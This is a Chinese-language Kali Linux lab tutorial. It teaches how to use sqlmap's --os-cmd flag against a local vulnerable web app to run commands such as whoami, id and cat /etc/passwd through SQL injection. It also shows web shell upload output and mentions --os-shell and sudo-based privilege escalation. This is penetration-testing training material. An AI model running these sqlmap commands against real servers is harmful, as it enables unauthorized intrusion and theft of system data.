使用 sqlmap 执行操作系统命令

Kali LinuxBeginner
立即练习

引言

在本实验中,你将探索 sqlmap 在目标服务器上执行操作系统命令的强大功能。此功能在渗透测试场景中尤其有用,当你发现 SQL 注入漏洞并希望进一步危害底层系统时。你将学习如何使用 --os-cmd 标志,分析输出,并理解此技术的局限性。

确认操作系统命令执行的先决条件

在此步骤中,你将确保 sqlmap 已安装,并且你对如何识别 SQL 注入漏洞有基本了解。通过 sqlmap 执行操作系统命令通常依赖于向目标系统写入文件的能力(例如,Web shell)或利用允许命令执行的特定数据库函数。

首先,请验证你的系统上是否已安装 sqlmap。打开终端并输入:

sqlmap --version

你应该会看到类似以下的输出,表明已安装的 sqlmap 版本:

sqlmap version 1.x.x.x ## 将 x.x.x.x 替换为实际版本

接下来,我们将使用 sqlmap 检测本地模拟 Web 应用程序上的 SQL 注入漏洞。此应用程序被设置为易受 SQL 注入攻击。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3

--batch 标志告诉 sqlmap 以非交互模式运行,接受默认选项。--risk=3--level=3 增加了 sqlmap 执行的测试深度,这通常是发现更复杂漏洞所必需的,包括那些可能允许执行操作系统命令的漏洞。

运行命令后,sqlmap 将执行各种测试。查找指示已检测到 SQL 注入漏洞的输出。你可能会看到类似以下的行:

---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---

这证实了 sqlmap 已成功识别出 SQL 注入漏洞,这是尝试执行操作系统命令的先决条件。

使用 --os-cmd 标志执行单个命令

在此步骤中,你将学习如何在 sqlmap 中使用 --os-cmd 标志在目标服务器上执行单个操作系统命令。当 sqlmap 已识别出执行命令的方法时,通常是通过上传 Web shell 或利用数据库特定函数,就会使用此标志。

使用 --os-cmd 的基本语法是:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch

<command> 替换为你想要执行的实际操作系统命令。sqlmap 将尝试执行此命令并返回其输出。

让我们尝试执行一个简单的命令,如 ls,以列出 Web 应用程序运行所在目录的文件。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch

sqlmap 将接着执行以下操作:

  1. 检测 SQL 注入漏洞。
  2. 尝试找到一种适合执行操作系统命令的技术(例如,通过上传 Web shell)。
  3. 执行 ls 命令。
  4. 检索并显示命令的输出。

你将看到 sqlmap 显示的各种消息,指示其进度,例如:

...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...

sqlmap 在成功执行后将显示 ls 命令的输出。这证明了在服务器上运行任意命令的能力。

执行 whoamiid 等简单命令

在此步骤中,你将执行 whoamiid 等常见的 Linux 命令,以收集有关 Web 服务器进程运行的用户和组上下文的信息。这些信息对于理解你在受损系统上拥有的权限至关重要。

首先,让我们执行 whoami 命令:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

sqlmap 完成后,它将显示 whoami 命令的输出。这通常是 Web 服务器(例如,www-dataapache 或我们实验环境中的 labex)运行的用户名。

...
[INFO] retrieved OS command output:
labex
...

接下来,执行 id 命令。此命令提供更详细的信息,包括用户 ID (UID)、组 ID (GID) 以及用户所属的所有组。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch

id 命令的输出看起来会像这样:

...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...

分析此输出有助于你了解可用的权限。例如,如果用户属于 sudo 组,则可能可以提升权限。

分析 sqlmap 返回的命令输出

在此步骤中,你将重点了解 sqlmap 如何呈现执行的操作系统命令的输出以及需要关注的内容。sqlmap 从其上传的 Web shell(或其他执行方法)检索命令输出,并在其控制台中显示。

当你使用 --os-cmd 执行命令时,sqlmap 通常会显示类似以下的行:

[INFO] retrieved OS command output:

接着是命令的实际输出。例如,如果你运行 ls -l /tmp,输出可能看起来像这样:

[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir

仔细阅读此输出非常重要。它提供了对目标系统的直接见解。例如:

  • 文件列表 (ls, dir): 显示目录结构、文件名和权限。
  • 系统信息 (uname -a, cat /etc/os-release): 提供有关操作系统、内核版本和发行版的详细信息。
  • 网络配置 (ip a, ifconfig): 显示网络接口、IP 地址和网络配置。
  • 进程列表 (ps aux): 列出正在运行的进程,这可能表明存在其他服务或应用程序。

考虑运行 cat /etc/passwd 来查看是否可以检索敏感的系统文件。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch

你将在 sqlmap 的输出中看到 /etc/passwd 文件的内容。此文件包含用户帐户信息,是侦察的常见目标。

...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...

分析此输出有助于你识别潜在用户、他们的主目录和默认 shell,这对于进一步的利用可能很有用。

理解非交互式命令执行的局限性

在此步骤中,你将理解通过 sqlmap--os-cmd 标志执行操作系统命令的固有局限性,特别是其非交互式特性。

--os-cmd 标志执行单个命令并返回其输出。它不提供交互式 shell(如典型的 SSH 或终端会话)。这意味着:

  1. 无持久会话: 每次 --os-cmd 执行都是一个新、独立的请求。你无法运行一个命令,然后使用其输出来告知同一“会话”中的下一个命令。
  2. 无交互式程序: 你无法运行需要用户输入或持续交互的程序(例如 nanovitoppasswd)。
  3. 复杂操作受限: 使用管道符 (|) 或分号 (;) 链接命令是可能的,但管理复杂的工作流或条件逻辑会变得很麻烦。例如,ls -l /tmp | grep "file" 可以工作,但需要用户交互的多步脚本则不行。
  4. 错误处理: 错误通常作为命令输出的一部分返回,但在没有交互式 shell 的情况下调试复杂问题可能具有挑战性。

为了克服这些局限性,渗透测试人员通常会在 sqlmap 中使用 --os-shell--os-pwn(如果底层数据库和 Web 服务器配置支持)。这些标志会尝试建立一个半交互式或完全交互式的 shell,从而允许更复杂的操作。然而,--os-cmd 对于快速侦察或执行单个、原子命令非常有用。

例如,尝试执行一个通常需要交互的命令,如 nano

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch

你很可能会看到一个错误或没有有意义的输出,因为 nano 需要一个终端和用户输入,而 sqlmap 在这种非交互模式下无法提供。

...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...

这表明,虽然 --os-cmd 对于单个命令非常强大,但它不能替代完整的交互式 shell。

总结

在此次实验中,你已成功学会如何使用 sqlmap--os-cmd 标志在目标服务器上执行操作系统命令。你首先确认了先决条件,然后练习执行了 lswhoamiidcat /etc/passwd 等简单命令。你还了解了如何分析 sqlmap 返回的命令输出,并且重要的是,认识到了非交互式命令执行的局限性。这项技能是 Web 应用程序渗透测试中后期利用阶段的基础。